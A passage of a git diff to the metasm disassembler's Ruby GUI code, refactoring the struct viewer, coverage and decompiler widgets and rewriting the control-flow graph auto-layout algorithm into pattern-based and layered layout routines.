x, y, t) + draw_string_hl(c, x, y, t) x += t.length * @font_width end } @@ -116,7 +103,7 @@ class CStructWidget < DrawableWidget cy = (@caret_y-@view_y)*@font_height draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) end - + @oldcaret_x, @oldcaret_y = @caret_x, @caret_y end @@ -179,28 +166,31 @@ class CStructWidget < DrawableWidget when ?l liststructs when ?t - inputbox('new struct name to use', :text => (@curstruct.name rescue '')) { |n| - lst = @dasm.c_parser.toplevel.struct.keys.grep(String) - if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } - focus_addr(@curaddr, @dasm.c_parser.toplevel.struct[fn]) - else - lst = @dasm.c_parser.toplevel.symbol.keys.grep(String).find_all { |ln| - s = @dasm.c_parser.toplevel.symbol[ln] - s.kind_of?(C::TypeDef) and s.untypedef.kind_of?(C::Union) - } - if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } - focus_addr(@curaddr, @dasm.c_parser.toplevel.symbol[fn].untypedef) - else - liststructs(n) - end - end - } + inputbox('new struct name to use', :text => (@curstruct.name rescue '')) { |n| focus_struct_byname(n) } else return false end true end - def liststructs(partname=nil) + # display the struct or pop a list of matching struct names if ambiguous + def focus_struct_byname(n, addr=@curaddr) + lst = @dasm.c_parser.toplevel.struct.keys.grep(String) + if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } + focus_addr(addr, @dasm.c_parser.toplevel.struct[fn]) + else + lst = @dasm.c_parser.toplevel.symbol.keys.grep(String).find_all { |ln| + s = @dasm.c_parser.toplevel.symbol[ln] + s.kind_of?(C::TypeDef) and s.untypedef.kind_of?(C::Union) + } + if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } + focus_addr(addr, @dasm.c_parser.toplevel.symbol[fn].untypedef) + else + liststructs(n, addr) + end + end + end + + def liststructs(partname=nil, addr=@curaddr) tl = @dasm.c_parser.toplevel list = [['name', 'size']] list += tl.struct.keys.grep(String).sort.map { |stn| @@ -216,12 +206,12 @@ class CStructWidget < DrawableWidget }.compact if partname and list.length == 2 - focus_addr(@curaddr, tl.struct[list[1][0]] || tl.symbol[list[1][0]].untypedef) + focus_addr(addr, tl.struct[list[1][0]] || tl.symbol[list[1][0]].untypedef) return end listwindow('structs', list) { |stn| - focus_addr(@curaddr, tl.struct[stn[0]] || tl.symbol[stn[0]].untypedef) + focus_addr(addr, tl.struct[stn[0]] || tl.symbol[stn[0]].untypedef) } end @@ -240,7 +230,7 @@ class CStructWidget < DrawableWidget def update_caret if @caret_x < @view_x or @caret_x >= @view_x + @cwidth or @caret_y < @view_y or @caret_y >= @view_y + @cheight redraw - elsif update_hl_word(@line_text[@caret_y], @caret_x) + elsif update_hl_word(@line_text[@caret_y], @caret_x, :c) redraw else invalidate_caret(@oldcaret_x-@view_x, @oldcaret_y-@view_y) @@ -254,9 +244,14 @@ class CStructWidget < DrawableWidget def focus_addr(addr, struct=@curstruct) return if @parent_widget and not addr = @parent_widget.normalize(addr) @curaddr = addr - @curstruct = struct @caret_x = @caret_y = 0 - gui_update + if struct.kind_of? String + @curstruct = nil + focus_struct_byname(struct) + else + @curstruct = struct + gui_update + end true end @@ -278,7 +273,7 @@ class CStructWidget < DrawableWidget @line_text_col << [] render[indent * [@structdepth - maxdepth, 0].max, :text] } - + if not obj @line_text_col = [[]] @line_dereference = [] @@ -308,7 +303,6 @@ class CStructWidget < DrawableWidget elsif struct.kind_of?(C::Struct) render["struct #{struct.name || '_'} st_#{Expression[@curaddr]} = ", :text] if not off fldoff = struct.fldoffset - fbo = struct.fldbitoffset || {} else render["union #{struct.name || '_'} un_#{Expression[@curaddr]} = ", :text] if not off end @@ -363,7 +357,7 @@ class CStructWidget < DrawableWidget else @line_text_col = [[[:text, '/* no struct selected (list with "l") */']]] end - + @line_text = @line_text_col.map { |l| l.map { |c, s| s }.join } update_caret redraw diff --git a/lib/metasm/metasm/gui/dasm_coverage.rb b/lib/metasm/metasm/gui/dasm_coverage.rb index c2a7640aac..0278198fcc 100644 --- a/lib/metasm/metasm/gui/dasm_coverage.rb +++ b/lib/metasm/metasm/gui/dasm_coverage.rb @@ -19,15 +19,15 @@ class CoverageWidget < DrawableWidget @section_x = [] @slave = nil # another dasmwidget whose curaddr is kept sync - @default_color_association = { :caret => :yellow, :caret_col => :darkyellow, - :background => :palegrey, :code => :red, :data => :blue } + @default_color_association = ColorTheme.merge :caret => :yellow, :caret_col => :darkyellow, + :background => :palegrey, :code => :red, :data => :blue end def click(x, y) x, y = x.to_i - 1, y.to_i - @sections.zip(@section_x).each { |(a, l, seq), (sx, sxe)| - if x >= sx and x < sxe+@pixel_w - @curaddr = a + (x-sx)/@pixel_w*@byte_per_col + (y/@pixel_h-@spacing)*@byte_per_col/@col_height + @sections.zip(@section_x).each { |s, sx| + if x >= sx[0] and x < sx[1]+@pixel_w + @curaddr = s[0] + (x-sx[0])/@pixel_w*@byte_per_col + (y/@pixel_h-@spacing)*@byte_per_col/@col_height @slave.focus_addr(@curaddr) if @slave rescue @slave=nil redraw break @@ -125,13 +125,13 @@ class CoverageWidget < DrawableWidget x += @spacing*@pixel_w } - @sections.zip(@section_x).each { |(a, l, seq), (sx, sxe)| - next if @curaddr.kind_of? Integer and not a.kind_of? Integer - next if @curaddr.kind_of? Expression and not a.kind_of? Expression - co = @curaddr-a - if co >= 0 and co < l + @sections.zip(@section_x).each { |s, sx| + next if @curaddr.kind_of? Integer and not s[0].kind_of? Integer + next if @curaddr.kind_of? Expression and not s[0].kind_of? Expression + co = @curaddr-s[0] + if co >= 0 and co < s[1] draw_color :caret_col - x = sx + (co/@byte_per_col)*@pixel_w + x = sx[0] + (co/@byte_per_col)*@pixel_w draw_rect[-@spacing, -1, 1] draw_rect[@col_height, @col_height+@spacing, 1] draw_color :caret diff --git a/lib/metasm/metasm/gui/dasm_decomp.rb b/lib/metasm/metasm/gui/dasm_decomp.rb index da9b6d3e3d..14de7cbadf 100644 --- a/lib/metasm/metasm/gui/dasm_decomp.rb +++ b/lib/metasm/metasm/gui/dasm_decomp.rb @@ -19,9 +19,8 @@ class CdecompListingWidget < DrawableWidget @curaddr = nil @tabwidth = 8 - @default_color_association = { :text => :black, :keyword => :blue, :caret => :black, - :background => :white, :hl_word => :palered, :localvar => :darkred, - :globalvar => :darkgreen, :intrinsic => :darkyellow } + @default_color_association = ColorTheme.merge :keyword => :blue, :localvar => :darkred, + :globalvar => :darkgreen, :intrinsic => :darkyellow end def curfunc @@ -91,19 +90,7 @@ class CdecompListingWidget < DrawableWidget # must not include newline render = lambda { |str, color| # function ends when we write under the bottom of the listing - if @hl_word - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length*@font_width - hl_w = s2.length*@font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_w, @font_height) - pre_x += hl_w - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } @@ -128,7 +115,7 @@ class CdecompListingWidget < DrawableWidget cy = (@caret_y-@view_y)*@font_height draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) end - + @oldcaret_x, @oldcaret_y = @caret_x, @caret_y end @@ -184,7 +171,7 @@ class CdecompListingWidget < DrawableWidget f.decompdata[:stackoff_name][s.stackoff] = v if s.stackoff elsif @dasm.c_parser.toplevel.symbol[n] @dasm.rename_label(n, v) - @curaddr = v if @curaddr == n + @curaddr = v if @curaddr == n end gui_update } @@ -264,13 +251,13 @@ class CdecompListingWidget < DrawableWidget invalidate_caret(@caret_x-@view_x, @caret_y-@view_y) @oldcaret_x, @oldcaret_y = @caret_x, @caret_y - redraw if update_hl_word(@line_text[@caret_y], @caret_x) + redraw if update_hl_word(@line_text[@caret_y], @caret_x, :c) end # focus on addr # returns true on success (address exists & decompiled) def focus_addr(addr) - if @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[addr] or @dasm.c_parser.toplevel.struct[addr]) + if @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[addr] or @dasm.c_parser.toplevel.struct[addr].kind_of?(C::Union)) @curaddr = addr @caret_x = @caret_y = 0 gui_update diff --git a/lib/metasm/metasm/gui/dasm_graph.rb b/lib/metasm/metasm/gui/dasm_graph.rb index f5fcb3c4f9..30951be1fd 100644 --- a/lib/metasm/metasm/gui/dasm_graph.rb +++ b/lib/metasm/metasm/gui/dasm_graph.rb @@ -22,13 +22,7 @@ class Graph #def inspect ; puts caller ; "#{Expression[@id] rescue @id.inspect}" end end - # TODO - class MergedBox - attr_accessor :id, :text, :x, :y, :w, :h - attr_accessor :to, :from - end - - attr_accessor :id, :box, :root_addrs, :view_x, :view_y, :keep_split + attr_accessor :id, :box, :box_id, :root_addrs, :view_x, :view_y, :keep_split def initialize(id) @id = id @root_addrs = [] @@ -39,29 +33,597 @@ class Graph # empty @box def clear @box = [] + @box_id = {} end # link the two boxes (by id) def link_boxes(id1, id2) - raise "unknown index 1 #{id1}" if not b1 = @box.find { |b| b.id == id1 } - raise "unknown index 2 #{id2}" if not b2 = @box.find { |b| b.id == id2 } + raise "unknown index 1 #{id1}" if not b1 = @box_id[id1] + raise "unknown index 2 #{id2}" if not b2 = @box_id[id2] b1.to |= [b2] b2.from |= [b1] end # creates a new box, ensures id is not already taken def new_box(id, content=nil) - raise "duplicate id #{id}" if @box.find { |b| b.id == id } + raise "duplicate id #{id}" if @box_id[id] b = Box.new(id, content) @box << b + @box_id[id] = b b end + # returns the [x1, y1, x2, y2] of the rectangle encompassing all boxes + def boundingbox + minx = @box.map { |b| b.x }.min.to_i + miny = @box.map { |b| b.y }.min.to_i + maxx = @box.map { |b| b.x + b.w }.max.to_i + maxy = @box.map { |b| b.y + b.h }.max.to_i + [minx, miny, maxx, maxy] + end + + # a -> b -> c -> d (no other in/outs) + def pattern_layout_col(groups) + # find head + return if not head = groups.find { |g| + g.to.length == 1 and + g.to[0].from.length == 1 and + (g.from.length != 1 or g.from[0].to.length != 1) + } + + # find full sequence + ar = [head] + while head.to.length == 1 and head.to[0].from.length == 1 + head = head.to[0] + ar << head + end + + # move boxes inside this group + maxw = ar.map { |g| g.w }.max + fullh = ar.inject(0) { |h, g| h + g.h } + cury = -fullh/2 + ar.each { |g| + dy = cury - g.y + g.content.each { |b| b.y += dy } + cury += g.h + } + + # create remplacement group + newg = Box.new(nil, ar.map { |g| g.content }.flatten) + newg.w = maxw + newg.h = fullh + newg.x = -newg.w/2 + newg.y = -newg.h/2 + newg.from = ar.first.from - ar + newg.to = ar.last.to - ar + # fix xrefs + newg.from.each { |g| g.to -= ar ; g.to << newg } + newg.to.each { |g| g.from -= ar ; g.from << newg } + # fix groups + groups[groups.index(head)] = newg + ar.each { |g| groups.delete g } + + true + end + + # if a group has no content close to its x/x+w borders, shrink it + def group_remove_hz_margin(g, maxw=16) + if g.content.empty? + g.x = -maxw/2 if g.x < -maxw/2 + g.w = maxw if g.w > maxw + return + end + + margin_left = g.content.map { |b| b.x }.min - g.x + margin_right = g.x+g.w - g.content.map { |b| b.x+b.w }.max + if margin_left + margin_right > maxw + g.w -= margin_left + margin_right - maxw + dx = (maxw/2 + margin_right - margin_left)/2 + g.content.each { |b| b.x += dx } + g.x = -g.w/2 + end + end + + # a -> [b, c, d] -> e + def pattern_layout_line(groups) + # find head + ar = [] + groups.each { |g| + if g.from.length == 1 and g.to.length <= 1 and g.from.first.to.length > 1 + ar = g.from.first.to.find_all { |gg| gg.from == g.from and gg.to == g.to } + elsif g.from.empty? and g.to.length == 1 and g.to.first.from.length > 1 + ar = g.to.first.from.find_all { |gg| gg.from == g.from and gg.to == g.to } + else ar = [] + end + break if ar.length > 1 + } + return if ar.length <= 1 + + ar.each { |g| group_remove_hz_margin(g) } + + # move boxes inside this group + #ar = ar.sort_by { |g| -g.h } + maxh = ar.map { |g| g.h }.max + fullw = ar.inject(0) { |w, g| w + g.w } + curx = -fullw/2 + ar.each { |g| + # if no to, put all boxes at bottom ; if no from, put them at top + case [g.from.length, g.to.length] + when [1, 0]; dy = (g.h - maxh)/2 + when [0, 1]; dy = (maxh - g.h)/2 + else dy = 0 + end + + dx = curx - g.x + g.content.each { |b| b.x += dx ; b.y += dy } + curx += g.w + } + # add a 'margin-top' proportionnal to the ar width + # this gap should be relative to the real boxes and not possible previous gaps when + # merging lines (eg long line + many if patterns -> dont duplicate gaps) + boxen = ar.map { |g| g.content }.flatten + realh = boxen.map { |g| g.y + g.h }.max - boxen.map { |g| g.y }.min + if maxh < realh + fullw/4 + maxh = realh + fullw/4 + end + + # create remplacement group + newg = Box.new(nil, ar.map { |g| g.content }.flatten) + newg.w = fullw + newg.h = maxh + newg.x = -newg.w/2 + newg.y = -newg.h/2 + newg.from = ar.first.from + newg.to = ar.first.to + # fix xrefs + newg.from.each { |g| g.to -= ar ; g.to << newg } + newg.to.each { |g| g.from -= ar ; g.from << newg } + # fix groups + groups[groups.index(ar.first)] = newg + ar.each { |g| groups.delete g } + + true + end + + # a -> b -> c & a -> c + def pattern_layout_ifend(groups) + # find head + return if not head = groups.find { |g| + g.to.length == 2 and + ((g.to[0].from.length == 1 and g.to[0].to.length == 1 and g.to[0].to[0] == g.to[1]) or + (g.to[1].from.length == 1 and g.to[1].to.length == 1 and g.to[1].to[0] == g.to[0])) + } + + if head.to[0].to.include?(head.to[1]) + ten = head.to[0] + else + ten = head.to[1] + end + + # stuff 'then' inside the 'if' + # move 'if' up, 'then' down + head.content.each { |g| g.y -= ten.h/2 } + ten.content.each { |g| g.y += head.h/2 } + head.h += ten.h + head.y -= ten.h/2 + + # widen 'if' + # this adds a phantom left side + # drop existing margins first + group_remove_hz_margin(ten) + dw = ten.w - head.w/2 + if dw > 0 + # need to widen head to fit ten + head.w += 2*dw + head.x -= dw + end + + # merge + ten.content.each { |g| g.x += -ten.x } + head.content.concat ten.content + + head.to.delete ten + head.to[0].from.delete ten + + groups.delete ten + + true + + end + + def pattern_layout_complex(groups) + order = order_graph(groups) + uniq = nil + if groups.sort_by { |g| order[g] }.find { |g| + next if g.to.length <= 1 + # list all nodes reachable for every 'to' + reach = g.to.map { |t| list_reachable(t) } + # list all nodes reachable only from a single 'to' + uniq = [] + reach.each_with_index { |r, i| + # take all nodes reachable from there ... + u = uniq[i] = r.dup + u.delete_if { |k, v| k.content.empty? } # ignore previous layout_complex artifacts + reach.each_with_index { |rr, ii| + next if i == ii + # ... and delete nodes reachable from anywhere else + rr.each_key { |k| u.delete k } + } + } + uniq.delete_if { |u| u.length <= 1 } + !uniq.empty? + } + # now layout every uniq subgroup independently + uniq.each { |u| + subgroups = groups.find_all { |g| u[g] } + + # isolate subgroup from external links + # change all external links into a single empty box + newtop = Box.new(nil, []) + newtop.x = -8 ; newtop.y = -9 + newtop.w = 16 ; newtop.h = 18 + newbot = Box.new(nil, []) + newbot.x = -8 ; newbot.y = -9 + newbot.w = 16 ; newbot.h = 18 + hadfrom = [] ; hadto = [] + subgroups.each { |g| + g.to.dup.each { |t| + next if u[t] + newbot.from |= [g] + g.to.delete t + hadto << t + g.to |= [newbot] + } + g.from.dup.each { |f| + next if u[f] + newtop.to |= [g] + g.from.delete f + hadfrom << f + g.from |= [newtop] + } + } + subgroups << newtop << newbot + + # subgroup layout + auto_arrange_step(subgroups) while subgroups.length > 1 + newg = subgroups[0] + + # patch 'groups' + idx = groups.index { |g| u[g] } + groups.delete_if { |g| u[g] } + groups[idx, 0] = [newg] + + # restore external links & fix xrefs + hadfrom.uniq.each { |f| + f.to.delete_if { |t| u[t] } + f.to |= [newg] + newg.from |= [f] + } + hadto.uniq.each { |t| + t.from.delete_if { |f| u[f] } + t.from |= [newg] + newg.to |= [t] + } + } + + true + end + end + + # find the minimal set of nodes from which we can reach all others + # this is done *before* removing cycles in the graph + # returns the order (Hash group => group_order) + # roots have an order of 0 + def order_graph(groups) + roots = groups.find_all { |g| g.from.empty? } + o = {} # tentative order + todo = [] + + loop do + roots.each { |g| + o[g] ||= 0 + todo |= g.to.find_all { |gg| not o[gg] } + } + + # order nodes from the tentative roots + until todo.empty? + n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o) + todo.delete n + o[n] = n.from.map { |g| o[g] }.compact.max + 1 + todo |= n.to.find_all { |g| not o[g] } + end + break if o.length >= groups.length + + # pathological cases + + if noroot = groups.find_all { |g| o[g] and g.from.find { |gg| not o[gg] } }.sort_by { |g| o[g] }.first + # we picked a root in the middle of the graph, walk up + todo |= noroot.from.find_all { |g| not o[g] } + until todo.empty? + n = todo.find { |g| g.to.all? { |gg| o[gg] } } || + todo.sort_by { |g| g.to.map { |gg| o[gg] }.compact.min }.first + todo.delete n + o[n] = n.to.map { |g| o[g] }.compact.min - 1 + todo |= n.from.find_all { |g| not o[g] } + end + # setup todo for next fwd iteration + todo |= groups.find_all { |g| not o[g] and g.from.find { |gg| o[gg] } } + else + # disjoint graph, start over from one other random node + roots << groups.find { |g| not o[g] } + end + end + + if o.values.find { |rank| rank < 0 } + # did hit a pathological case, restart with found real roots + roots = groups.find_all { |g| not g.from.find { |gg| o[gg] < o[g] } } + o = {} + todo = [] + roots.each { |g| + o[g] ||= 0 + todo |= g.to.find_all { |gg| not o[gg] } + } + until todo.empty? + n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o) + todo.delete n + o[n] = n.from.map { |g| o[g] }.compact.max + 1 + todo |= n.to.find_all { |g| not o[g] } + end + + # there's something screwy around here ! + raise "moo" if o.length < groups.length + end + + o + end + + def order_solve_cycle(todo, o) + # 'todo' has no trivial candidate + # pick one node from todo which no other todo can reach + # exclude pathing through already ordered nodes + todo.find { |t1| + not todo.find { |t2| t1 != t2 and can_find_path(t2, t1, o.dup) } + } || + # some cycle heads are mutually recursive + todo.sort_by { |t1| + # find the one who can reach the most others + [todo.find_all { |t2| t1 != t2 and can_find_path(t1, t2, o.dup) }.length, + # and with the highest rank + t1.from.map { |gg| o[gg] }.compact.max] + }.last + end + + # checks if there is a path from src to dst avoiding stuff in 'done' + def can_find_path(src, dst, done={}) + todo = [src] + while g = todo.pop + next if done[g] + return true if g == dst + done[g] = true + todo.concat g.to + end + false + end + + # returns a hash with true for every node reachable from src (included) + def list_reachable(src, done={}) + todo = [src] + while g = todo.pop + next if done[g] + done[g] = true + todo.concat g.to + end + done + end + + # revert looping edges in groups + def make_tree(groups, order) + # now we have the roots and node orders + # revert cycling edges - o(chld) < o(parent) + order.each_key { |g| + g.to.dup.each { |gg| + if order[gg] < order[g] + # cycling edge, revert + g.to.delete gg + gg.from.delete g + g.from |= [gg] + gg.to |= [g] + end + } + } + end + + # group groups in layers of same order + # create dummy groups along long edges so that no path exists between non-contiguous layers + def create_layers(groups, order) + newemptybox = lambda { + b = Box.new(nil, []) + b.x = -8 + b.y = -9 + b.w = 16 + b.h = 18 + groups << b + b + } + + newboxo = {} + + order.each_key { |g| + og = order[g] || newboxo[g] + g.to.dup.each { |gg| + ogg = order[gg] || newboxo[gg] + if ogg > og+1 + # long edge, expand + sq = [g] + (ogg - 1 - og).times { |i| sq << newemptybox[] } + sq << gg + gg.from.delete g + g.to.delete gg + newboxo[g] ||= order[g] + sq.inject { |g1, g2| + g1.to |= [g2] + g2.from |= [g1] + newboxo[g2] = newboxo[g1]+1 + g2 + } + raise if newboxo[gg] != ogg + end + } + } + + order.update newboxo + + # layers[o] = [list of nodes of order o] + layers = [] + groups.each { |g| + (layers[order[g]] ||= []) << g + } + + layers + end + + # take all groups, order them by order, layout as layers + # always return a single group holding everything + def layout_layers(groups) + order = order_graph(groups) + # already a tree + layers = create_layers(groups, order) + return if layers.empty? + + layers.each { |l| l.each { |g| group_remove_hz_margin(g) } } + + # widest layer width + maxlw = layers.map { |l| l.inject(0) { |ll, g| ll + g.w } }.max + + # center the 1st layer boxes on a segment that large + x0 = -maxlw/2.0 + curlw = layers[0].inject(0) { |ll, g| ll + g.w } + dx0 = (maxlw - curlw) / (2.0*layers[0].length) + layers[0].each { |g| + x0 += dx0 + g.x = x0 + x0 += g.w + dx0 + } + + # at this point, the goal is to reorder the most populated layer the best we can, and + # move other layers' boxes accordingly + layers[1..-1].each { |l| + # for each subsequent layer, reorder boxes based on their ties with the previous layer + i = 0 + l.replace l.sort_by { |g| + # we know g.from is not empty (g would be in @layer[0]) + medfrom = g.from.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.from.length + # on ties, keep original order + [medfrom, i] + } + # now they are reordered, update their #x accordingly + # evenly distribute them in the layer + x0 = -maxlw/2.0 + curlw = l.inject(0) { |ll, g| ll + g.w } + dx0 = (maxlw - curlw) / (2.0*l.length) + l.each { |g| + x0 += dx0 + g.x = x0 + x0 += g.w + dx0 + } + } + + layers[0...-1].reverse_each { |l| + # for each subsequent layer, reorder boxes based on their ties with the previous layer + i = 0 + l.replace l.sort_by { |g| + if g.to.empty? + # TODO floating end + medfrom = 0 + else + medfrom = g.to.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.to.length + end + # on ties, keep original order + [medfrom, i] + } + # now they are reordered, update their #x accordingly + x0 = -maxlw/2.0 + curlw = l.inject(0) { |ll, g| ll + g.w } + dx0 = (maxlw - curlw) / (2.0*l.length) + l.each { |g| + x0 += dx0 + g.x = x0 + x0 += g.w + dx0 + } + } + + # now the boxes are (hopefully) sorted correctly + # position them according to their ties with prev/next layer + # from the maxw layer (positionning = packed), propagate adjacent layers positions + maxidx = (0..layers.length).find { |i| l = layers[i] ; l.inject(0) { |ll, g| ll + g.w } == maxlw } + # list of layer indexes to walk + ilist = [maxidx] + ilist.concat((maxidx+1...layers.length).to_a) if maxidx < layers.length-1 + ilist.concat((0..maxidx-1).to_a.reverse) if maxidx > 0 + layerbox = [] + ilist.each { |i| + l = layers[i] + curlw = l.inject(0) { |ll, g| ll + g.w } + # left/rightmost acceptable position for the current box w/o overflowing on the right side + minx = -maxlw/2.0 + maxx = minx + (maxlw-curlw) + + # replace whole layer with a box + newg = layerbox[i] = Box.new(nil, l.map { |g| g.content }.flatten) + newg.w = maxlw + newg.h = l.map { |g| g.h }.max + newg.x = -newg.w/2 + newg.y = -newg.h/2 + # dont care for from/to, we'll return a single box anyway + + l.each { |g| + ref = (i < maxidx) ? g.to : g.from + # TODO elastic positionning around the ideal position + # (g and g+1 may have the same med, then center both on it) + if i == maxidx + nx = minx + elsif ref.empty? + nx = (minx+maxx)/2 + else + # center on the outline of rx + # may want to center on rx center's center ? + rx = ref.sort_by { |gg| gg.x } + med = (rx.first.x + rx.last.x + rx.last.w - g.w) / 2.0 + nx = [[med, minx].max, maxx].min + end + dx = nx+g.w/2 + g.content.each { |b| b.x += dx } + minx = nx+g.w + maxx += g.w + } + } + + newg = Box.new(nil, layerbox.map { |g| g.content }.flatten) + newg.w = layerbox.map { |g| g.w }.max + newg.h = layerbox.inject(0) { |h, g| h + g.h } + newg.x = -newg.w/2 + newg.y = -newg.h/2 + + # vertical: just center each box on its layer + y0 = newg.y + layerbox.each { |lg| + lg.content.each { |b| + b.y += y0-lg.y + } + y0 += lg.h + } + + groups.replace [newg] + end + + # place boxes in a good-looking layout - def auto_arrange_init(list=@box) - # groups is an array of box groups + # create artificial 'group' container for boxes, that will later be merged in geometrical patterns + def auto_arrange_init + # 'group' is an array of boxes # all groups are centered on the origin - @groups = list.map { |b| + h = {} # { box => group } + @groups = @box.map { |b| b.x = -b.w/2 b.y = -b.h/2 g = Box.new(nil, [b]) @@ -69,6 +631,7 @@ class Graph g.y = b.y - 9 g.w = b.w + 16 g.h = b.h + 18 + h[b] = g g } @@ -77,394 +640,101 @@ class Graph # no self references # a box is in one and only one group in 'groups' @groups.each { |g| - g.to = g.content.first.to.map { |t| next if not t = list.index(t) ; @groups[t] }.compact - [g] - g.from = g.content.first.from.map { |f| next if not f = list.index(f) ; @groups[f] }.compact - [g] + g.to = g.content.first.to.map { |t| h[t] if t != g }.compact + g.from = g.content.first.from.map { |f| h[f] if f != g }.compact } - # walk from a box, fork at each multiple to, chop links to a previous box (loops etc) - @madetree = false + # order boxes + order = order_graph(@groups) + + # remove cycles from the graph + make_tree(@groups, order) end - # gives a text representation of the current graph state - def dump_layout(groups=@groups) - groups.map { |g| "#{groups.index(g)} -> #{g.to.map { |t| groups.index(t) }.sort.inspect}" } + def auto_arrange_step(groups=@groups) + pattern_layout_col(groups) or pattern_layout_line(groups) or + pattern_layout_ifend(groups) or pattern_layout_complex(groups) or + layout_layers(groups) end - def auto_arrange_step - # TODO fix - # 0->[1, 2] 1->[3] 2->[3, 4] 3->[] 4->[1] - # push 0 jz l3 push 1 jz l4 push 2 l3: push 3 l4: hlt - # and more generally all non-looping graphs where this algo creates backward links - - groups = @groups - return if groups.length <= 1 - - maketree = lambda { |roots| - next if @madetree - @madetree = true - - maxdepth = {} # max arc count to reach this box from graph start (excl loop) - - trim = lambda { |g, from| - # unlink g from (part of) its from - from.each { |gg| gg.to.delete g } - g.from -= from - } - - walk = lambda { |g| - # score - parentdepth = g.from.map { |gg| maxdepth[gg] } - if parentdepth.empty? - # root - maxdepth[g] = 0 - elsif parentdepth.include? nil - # not farthest parent found / loop - next - # elsif maxdepth[g] => ? - else - maxdepth[g] = parentdepth.max + 1 - end - g.to.each { |gg| walk[gg] } - } - - roots.each { |g| trim[g, g.from] unless g.from.empty? } - roots.each { |g| walk[g] } - - # handle loops now (unmarked nodes) - while unmarked = groups - maxdepth.keys and not unmarked.empty? - if g = unmarked.find { |g_| g_.from.find { |gg| maxdepth[gg] } } - # loop head - trim[g, g.from.find_all { |gg| not maxdepth[gg] }] # XXX not quite sure for this - walk[g] - else - # disconnected subgraph - g = unmarked.find { |g_| g_.from.empty? } || unmarked.first - trim[g, g.from] - maxdepth[g] = 0 - walk[g] - end - end - } - - # concat all ary boxes into its 1st element, remove trailing groups from 'groups' - # updates from/to - merge_groups = lambda { |ary| - bg = Box.new(nil, []) - bg.x, bg.y = ary.map { |g| g.x }.min, ary.map { |g| g.y }.min - bg.w, bg.h = ary.map { |g| g.x+g.w }.max - bg.x, ary.map { |g| g.y+g.h }.max - bg.y - ary.each { |g| - bg.content.concat g.content - bg.to |= g.to - bg.from |= g.from - } - bg.to -= ary - bg.to.each { |t| t.from = t.from - ary + [bg] } - bg.from -= ary - bg.from.each { |f| f.to = f.to - ary + [bg] } - idx = ary.map { |g| groups.index(g) }.min - groups = @groups = groups - ary - groups.insert(idx, bg) - bg - } - - # move all boxes within group of dx, dy - move_group = lambda { |g, dx, dy| - g.content.each { |b| b.x += dx ; b.y += dy } - g.x += dx ; g.y += dy - } - - align_hz = lambda { |ary| - # if we have one of the block much bigger than the others, put it on the far right - big = ary.sort_by { |g| g.h }.last - if (ary-[big]).all? { |g| g.h < big.h/3 } - ary -= [big] - else - big = nil - end - nx = ary.map { |g| g.w }.inject(0) { |a, b| a+b } / -2 - nx *= 2 if big and ary.length == 1 # just put the parent on the separation of the 2 child - ary.each { |g| - move_group[g, nx-g.x, 0] - nx += g.w - } - move_group[big, nx-big.x, 0] if big - } - align_vt = lambda { |ary| - ny = ary.map { |g| g.h }.inject(0) { |a, b| a+b } / -2 - ary.each { |g| - move_group[g, 0, ny-g.y] - ny += g.h - } - } - - # scan groups for a column pattern (head has 1 'to' which from == [head]) - group_columns = lambda { - groups.find { |g| - next if g.from.length == 1 and g.from.first.to.length == 1 - ary = [g] - ary << (g = g.to.first) while g.to.length == 1 and g.to.first.from.length == 1 - next if ary.length <= 1 - align_vt[ary] - merge_groups[ary] - true - } - } - - # scan groups for a line pattern (multiple groups with same to & same from) - group_lines = lambda { |strict| - if groups.all? { |g1| g1.from.empty? and g1.to.empty? } - # disjoint subgraphs - align_hz[groups] - merge_groups[groups] - next true - end - - groups.find { |g1| - ary = g1.from.map { |gg| gg.to }.flatten.uniq.find_all { |gg| - gg != g1 and - (gg.from - g1.from).empty? and (g1.from - gg.from).empty? and - (strict ? ((gg.to - g1.to).empty? and (g1.to - gg.to).empty?) : (g1.to & gg.to).first) - } - ary = g1.to.map { |gg| gg.from }.flatten.uniq.find_all { |gg| - gg != g1 and - (gg.to - g1.to).empty? and (g1.to - gg.to).empty? and - (strict ? ((gg.from - g1.from).empty? and (g1.from - gg.from).empty?) : (g1.from & gg.from).first) - } if ary.empty? - next if ary.empty? - ary << g1 - dy = 16*ary.map { |g| g.to.length + g.from.length }.inject { |a, b| a+b } - ary.each { |g| g.h += dy ; g.y -= dy/2 } - align_hz[ary] - if ary.first.to.empty? # shrink graph if highly dissymetric and to.empty? - ah = ary.map { |g| g.h }.max - ary.each { |g| - move_group[g, 0, (g.h-ah)/2] # move up - next if not p = ary[ary.index(g)-1] - y = [g.y, p.y].min # shrink width - h = [g.h, p.h].min - xp = p.content.map { |b| b.x+b.w if b.y+b.h+8 >= y and b.y-8 <= y+h }.compact.max || p.x+p.w/2 - xg = g.content.map { |b| b.x if b.y+b.h+8 >= y and b.y-8 <= y+h }.compact.min || g.x+g.w/2 - dx = xg-xp-24 - next if dx <= 0 - ary.each { |gg| - dx = -dx if gg == g - move_group[gg, dx/2, 0] - } - if p.x+p.w > ary.last.x+ary.last.w or ary.first.x > g.x # fix broken centerism - x = [g.x, ary.first.x].min - xm = [p.x+p.w, ary.last.x+ary.last.w].max - ary.each { |gg| move_group[gg, (x+xm)/-2, 0] } - end - } - end - merge_groups[ary] - true - } - } - - group_inv_if = {} - - # scan groups for a if/then pattern (1 -> 2 -> 3 & 1 -> 3) - group_ifthen = lambda { |strict| - groups.reverse.find { |g| - next if not g2 = g.to.find { |g2_| (g2_.to.length == 1 and 